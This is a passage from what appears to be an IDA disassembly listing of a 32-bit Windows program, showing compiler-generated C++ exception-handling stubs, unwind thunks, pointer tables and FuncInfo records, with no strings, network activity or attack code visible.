		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426560	proc near		; DATA XREF: sub_426560+2o
		mov	eax, offset dword_441A88
		jmp	sub_4367C8
SEH_426560	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4266A0	proc near		; DATA XREF: sub_4266A0+2o
		mov	eax, offset dword_441AD8
		jmp	sub_4367C8
SEH_4266A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4269A0	proc near		; DATA XREF: sub_4269A0+2o
		mov	eax, offset dword_441B08
		jmp	sub_4367C8
SEH_4269A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426A60	proc near		; DATA XREF: sub_426A60+2o
		mov	eax, offset dword_441B38
		jmp	sub_4367C8
SEH_426A60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426EB0	proc near		; DATA XREF: sub_426EB0+2o
		mov	eax, offset dword_441B68
		jmp	sub_4367C8
SEH_426EB0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426F70	proc near		; DATA XREF: sub_426F70+2o
		mov	eax, offset dword_441B98
		jmp	sub_4367C8
SEH_426F70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427590	proc near		; DATA XREF: sub_427590+2o
		mov	eax, offset dword_441BC8
		jmp	sub_4367C8
SEH_427590	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427650	proc near		; DATA XREF: sub_427650+2o
		mov	eax, offset dword_441BF8
		jmp	sub_4367C8
SEH_427650	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427DC0	proc near		; DATA XREF: sub_427DC0+2o
		mov	eax, offset dword_441C28
		jmp	sub_4367C8
SEH_427DC0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B8A8:				; DATA XREF: ___:00441C84o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427E30	proc near		; DATA XREF: sub_427E30+2o
		mov	eax, offset dword_441C58
		jmp	sub_4367C8
SEH_427E30	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B908:				; DATA XREF: ___:00441CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427EF0	proc near		; DATA XREF: sub_427EF0+2o
		mov	eax, offset dword_441CB0
		jmp	sub_4367C8
SEH_427EF0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43B968:				; DATA XREF: ___:00441D34o
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428160	proc near		; DATA XREF: sub_428160+2o
		mov	eax, offset dword_441D08
		jmp	sub_4367C8
SEH_428160	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014B0
; ---------------------------------------------------------------------------


loc_43B9AB:				; DATA XREF: ___:00441D74o
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BA92:				; DATA XREF: sub_4282C0+8o
		mov	eax, offset dword_441D48
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4299C0	proc near		; DATA XREF: sub_4299C0+2o
		mov	eax, offset dword_441E30
		jmp	sub_4367C8
SEH_4299C0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429AA0	proc near		; DATA XREF: sub_429AA0+2o
		mov	eax, offset dword_441E60
		jmp	sub_4367C8
SEH_429AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429D00	proc near		; DATA XREF: sub_429D00+2o
		mov	eax, offset dword_441E90
		jmp	sub_4367C8
SEH_429D00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42A090	proc near		; DATA XREF: sub_42A090+2o
		mov	eax, offset dword_441EC0
		jmp	sub_4367C8
SEH_42A090	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42A150	proc near		; DATA XREF: sub_42A150+8o
		mov	eax, offset dword_441EF0
		jmp	sub_4367C8
SEH_42A150	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AEC0	proc near		; DATA XREF: sub_42AEC0+5o
		mov	eax, offset dword_441F20
		jmp	sub_4367C8
SEH_42AEC0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43BB90:				; DATA XREF: ___:0042AFD5o
		mov	eax, offset dword_441F80
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BBA8:				; DATA XREF: ___:0044200Co
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B060	proc near		; DATA XREF: sub_42B060+2o
		mov	eax, offset dword_441FE0
		jmp	sub_4367C8
SEH_42B060	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B240	proc near		; DATA XREF: sub_42B240+2o
		mov	eax, offset dword_442020
		jmp	sub_4367C8
SEH_42B240	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43BC08:				; DATA XREF: ___:0042B2E2o
		mov	eax, offset dword_442050
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B480	proc near		; DATA XREF: sub_42B480+2o
		mov	eax, offset dword_442080
		jmp	sub_4367C8
SEH_42B480	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4420B0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B880	proc near		; DATA XREF: sub_42B880+8o
		mov	eax, offset dword_4420E0
		jmp	sub_4367C8
SEH_42B880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42BB70	proc near		; DATA XREF: sub_42BB70+2o
		mov	eax, offset dword_442110
		jmp	sub_4367C8
SEH_42BB70	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BD84:				; DATA XREF: ___:0042BE68o
		mov	eax, offset dword_442168
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4347B0	proc near		; DATA XREF: sub_4347B0+2o
		mov	eax, offset dword_442250
		jmp	sub_4367C8
SEH_4347B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BDEB:				; DATA XREF: ___:004422B4o
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BDF6:				; DATA XREF: ___:004348A8o
		mov	eax, offset dword_442288
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4351E0	proc near		; DATA XREF: sub_4351E0+2o
		mov	eax, offset dword_4422C0
		jmp	sub_4367C8
SEH_4351E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4355E0	proc near		; DATA XREF: sub_4355E0+2o
		mov	eax, offset dword_4422F0
		jmp	sub_4367C8
SEH_4355E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4356F0	proc near		; DATA XREF: sub_4356F0+8o
		mov	eax, offset dword_442328
		jmp	sub_4367C8
SEH_4356F0	endp

; ---------------------------------------------------------------------------
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db '',0
		align 4
		dd 3E3h	dup(0)
off_43E000	dd offset sub_4017C6	; DATA XREF: sub_4036D0+3FEo
off_43E004	dd offset byte_4367D0	; DATA XREF: sub_403C70+2o
off_43E008	dd offset off_402009	; DATA XREF: sub_406BA0+2o sub_406C00o
off_43E00C	dd offset sub_4021F8	; DATA XREF: ___:00407075o
off_43E010	dd offset loc_402171	; DATA XREF: sub_409AE0+4o
					; sub_409B40+Bo ...
off_43E014	dd offset loc_402027	; DATA XREF: sub_40ADC0+2o
					; sub_40AE10+1Co
		dd offset byte_4367D0
		align 10h
off_43E020	dd offset loc_401ACD	; DATA XREF: ___:0040B118o
					; sub_40B170+1Eo
flt_43E024	dd 1.0			; DATA XREF: ___:0040B7C6r
off_43E028	dd offset sub_401A3C	; DATA XREF: sub_40F600+157o
					; sub_40FDA0+1Do
		dd offset sub_40212B
		dd 0
off_43E034	dd offset sub_401AB9	; DATA XREF: sub_40F600+142o
					; sub_40FDA0+23o
off_43E038	dd offset loc_40115E	; DATA XREF: sub_411860+36o
					; sub_411910+1Do
		dd offset loc_401FE6
		dd 0
off_43E044	dd offset sub_4014BF	; DATA XREF: ___:0041318Do
					; sub_413220+1Fo
		dd offset sub_401CF8
		align 10h
off_43E050	dd offset sub_4019BF	; DATA XREF: sub_416C00+6o
					; sub_417DF0+8o
		dd offset sub_4020A9
		dd 0
off_43E05C	dd offset loc_401C99	; DATA XREF: sub_416C60+6o
					; sub_417E20+8o
		dd offset sub_401230
		align 8
off_43E068	dd offset loc_40191A	; DATA XREF: sub_416CC0o sub_41FBD0+8o
		dd offset sub_401CDF
		dd 0
off_43E074	dd offset sub_40111D	; DATA XREF: sub_416D10o
					; sub_4190B0+36o
off_43E078	dd offset loc_4014A1	; DATA XREF: sub_417BC0+68o
off_43E07C	dd offset sub_401064	; DATA XREF: sub_417C60+8Bo
off_43E080	dd offset sub_40138E	; DATA XREF: sub_417D30+74o
off_43E084	dd offset loc_401B6D	; DATA XREF: sub_417E50+7Bo
off_43E088	dd offset loc_40202C	; DATA XREF: sub_417F10+7Bo
off_43E08C	dd offset loc_401F1E	; DATA XREF: sub_417FD0+3Eo
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Fh,	40h, 0
off_43E094	dd offset loc_401FD7	; DATA XREF: sub_418080+3Eo
off_43E098	dd offset sub_401E4C	; DATA XREF: sub_418100+3Eo
off_43E09C	dd offset loc_40100A	; DATA XREF: sub_418180+10o
off_43E0A0	dd offset loc_4010B4	; DATA XREF: sub_4181B0+4Bo
off_43E0A4	dd offset sub_401BA4	; DATA XREF: sub_418230+10o
off_43E0A8	dd offset sub_401712	; DATA XREF: sub_418260+10o
off_43E0AC	dd offset sub_401613	; DATA XREF: sub_418290+6Bo
dbl_43E0B0	dq -3.0517578125e-5	; DATA XREF: sub_4198C0+22r
		dd 0
off_43E0BC	dd offset sub_401AF5	; DATA XREF: sub_41A010+Bo
					; sub_41A110+6o
off_43E0C0	dd offset sub_401E74	; DATA XREF: sub_41AFE0+Do sub_41B040o
off_43E0C4	dd offset sub_4013FC	; DATA XREF: ___:0041B3A2o
					; ___:0041B48Do
		dd offset sub_40167C
		align 10h
off_43E0D0	dd offset loc_4019E7	; DATA XREF: sub_41D670+77o
					; sub_41D760+1Do
		dd offset sub_401C80
		dd 0
off_43E0DC	dd offset sub_4011FE	; DATA XREF: sub_426450+32o
		dd offset sub_401A64
		dd offset sub_401A41
		dd 0
off_43E0EC	dd offset loc_4016D1	; DATA XREF: sub_4264C0+6Ao
					; sub_426560+1Do
		dd offset sub_401A64
		dd offset byte_4367D0
		dd 0
off_43E0FC	dd offset loc_401AAF	; DATA XREF: sub_4269A0+32o
		dd offset sub_401A64
		dd offset sub_401366
		dd 0
off_43E10C	dd offset sub_40181B	; DATA XREF: sub_426EB0+32o
		dd offset sub_401A64
		dd offset sub_401E92
		dd 0
off_43E11C	dd offset sub_40222A	; DATA XREF: sub_427590+32o
		dd offset sub_401A64
		dd offset sub_401A05
		dd 0
off_43E12C	dd offset sub_401C2B	; DATA XREF: sub_427DC0+32o
		dd offset sub_4021A8
		dd offset sub_4015AF
		dd 0
off_43E13C	dd offset loc_402068	; DATA XREF: sub_427E30+7Ao
					; sub_427EF0+1Do
		dd offset sub_4021A8
		dd offset byte_4367D0
		dd 0
off_43E14C	dd offset sub_4021B2	; DATA XREF: sub_428160+4Bo
					; sub_428250+10o
		dd offset sub_4021A8
		dd offset sub_401D2A
		dd 0
off_43E15C	dd offset loc_40112C	; DATA XREF: sub_4299C0+32o
					; sub_429A60+9o
		dd offset sub_4021A8
		dd offset sub_40137A
		dd 0
off_43E16C	dd offset loc_401B04	; DATA XREF: sub_429D00+32o
		dd offset sub_4021A8
		dd offset sub_4010AF
		dd 0
off_43E17C	dd offset sub_4017A8	; DATA XREF: sub_42A090+32o
		dd offset sub_4021A8
		dd offset sub_40188E
		dd 0
off_43E18C	dd offset sub_4020D1	; DATA XREF: sub_42B1D0+27o
dword_43E190	dd 0				dd 8, 0
off_43E19C	dd offset byte_4367D0	; DATA XREF: sub_42B240+39o
off_43E1A0	dd offset sub_401F41	; DATA XREF: ___:0042B312o
		dd offset sub_4021A8
		dd offset sub_40134D
		align 10h
off_43E1B0	dd offset sub_401B22	; DATA XREF: sub_42B480+32o
		dd offset sub_4021A8
		dd offset sub_40152D
		align 10h
		dd offset loc_4015F0
		dd offset sub_4021A8
		dd offset sub_4019E2
		align 10h
		dd offset dword_43E348
off_43E1D4	dd offset loc_436811	; DATA XREF: ___:00436808o
					; ___:off_4438B0o ...
		dd 0FFFFFFFFh, 436BACh,	436BC0h, 4Dh dup(0)
off_43E318	dd offset off_446CD0	; DATA XREF: ___:0043E330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43E318
		dd 0
		db    0			; DATA XREF: ___:0043E358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43E330h
dword_43E348	dd 3 dup(0)			dd offset off_446CD0
		dd offset unk_43E338
		dd 45h dup(0)
dword_43E470	dd 19930520h, 5, 43E490h, 5 dup(0)		dd 0FFFFFFFFh, 437B2Ch,	0
		dd offset dword_436FD0+0B30h
		dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0)
dword_43E4C0	dd 19930520h, 3Dh, 43E4E0h, 5 dup(0)		dd 0FFFFFFFFh, 437B70h,	0
		dd offset loc_437B7B
		dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh
		dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah
		dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h,	0Dh, 437C2Eh, 0Eh
		dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h,	11h, 437C66h, 12h
		dd 437C74h, 13h, 437C82h, 14h, 437C90h,	15h, 437C9Eh, 16h
		dd 437CACh, 17h, 437CBAh, 18h, 437CC8h,	19h, 437CD6h, 1Ah
		dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h,	1Dh, 437D0Eh, 1Eh
		dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h,	21h, 437D46h, 22h
		dd 437D54h, 23h, 437D62h, 24h, 437D70h,	25h, 437D7Eh, 26h
		dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h,	29h, 437DB6h, 2Ah
		dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h,	2Dh, 437DEEh, 2Eh
		dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h,	31h, 437E26h, 32h
		dd 437E34h, 33h, 437E42h, 34h, 437E50h,	35h, 437E5Eh, 36h
		dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h,	39h, 437E96h, 3Ah
		dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0)
dword_43E700	dd 19930520h, 1, 43E720h, 5 dup(0)		dd 0FFFFFFFFh, 437FA0h,	2 dup(0)
dword_43E730	dd 19930520h, 2, 43E750h, 5 dup(0)		dd 0FFFFFFFFh, 437FC0h,	0
		dd offset loc_437FC8
		dd 2 dup(0)
dword_43E768	dd 19930520h, 2, 43E788h, 5 dup(0)		dd 0FFFFFFFFh, 437FF0h,	0
		dd offset loc_437FF8
		align 10h
dword_43E7A0	dd 19930520h, 1, 43E7C0h, 5 dup(0)		dd 0FFFFFFFFh, 438020h,	2 dup(0)
dword_43E7D0	dd 19930520h, 7, 43E7F0h, 5 dup(0)		dd 0FFFFFFFFh, 438040h,	0
		dd offset loc_438048
		dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh
		dd 2 dup(0)
dword_43E830	dd 19930520h, 7, 43E850h, 5 dup(0)		dd 0FFFFFFFFh, 4380C0h,	0
		dd offset loc_4380C8
		dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh
		dd 2 dup(0)
dword_43E890	dd 19930520h, 11h, 43E8B0h, 5 dup(0)		dd 0FFFFFFFFh, 438140h,	0FFFFFFFFh, 438148h, 0FFFFFFFFh
		dd 438150h, 0FFFFFFFFh,	438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh
		dd 438168h, 0FFFFFFFFh,	438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh
		dd 438180h, 0FFFFFFFFh,	438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh
		dd 438198h, 0FFFFFFFFh,	4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh
		dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h,	4 dup(0)
dword_43E948	dd 19930520h, 0Bh, 43E968h, 5 dup(0)		dd 0FFFFFFFFh, 438200h,	0
		dd offset loc_438208
		dd 0FFFFFFFFh, 438210h,	2, 438218h, 0FFFFFFFFh,	438220h
		dd 0FFFFFFFFh, 438228h,	0FFFFFFFFh, 438230h, 0FFFFFFFFh
		dd 438238h, 7, 438243h,	7, 43824Bh, 9, 438253h,	4 dup(0)
dword_43E9D0	dd 19930520h, 31h, 43E9F0h, 5 dup(0)		dd 0FFFFFFFFh, 438280h,	0
		dd offset loc_43828B
		dd 0
		dd offset loc_438296
		dd 0FFFFFFFFh, 4382A1h,	0FFFFFFFFh, 4382ACh, 4,	4382B7h
		dd 0FFFFFFFFh, 4382C2h,	6, 4382CDh, 6, 4382D8h,	8, 4382E3h
		dd 0FFFFFFFFh, 4382EEh,	0Ah, 4382F9h, 0Ah, 438304h, 0Ah
		dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h,	0Ah, 438330h, 0FFFFFFFFh
		dd 43833Bh, 11h, 438346h, 11h, 438351h,	0FFFFFFFFh, 43835Ch
		dd 0FFFFFFFFh, 438367h,	15h, 438372h, 0FFFFFFFFh, 43837Dh
		dd 0FFFFFFFFh, 438388h,	18h, 438393h, 0FFFFFFFFh, 43839Eh
		dd 0FFFFFFFFh, 4383A9h,	0FFFFFFFFh, 4383B4h, 0FFFFFFFFh
		dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h,	1Dh, 4383E0h, 1Dh
		dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h,	22h, 43840Ch, 22h
		dd 438417h, 22h, 438422h, 22h, 43842Dh,	22h, 438438h, 22h
		dd 438443h, 22h, 43844Eh, 22h, 438459h,	22h, 438464h, 22h
		dd 43846Fh, 22h, 43847Ah, 22h, 438485h,	22h, 438490h, 0Ch dup(0)
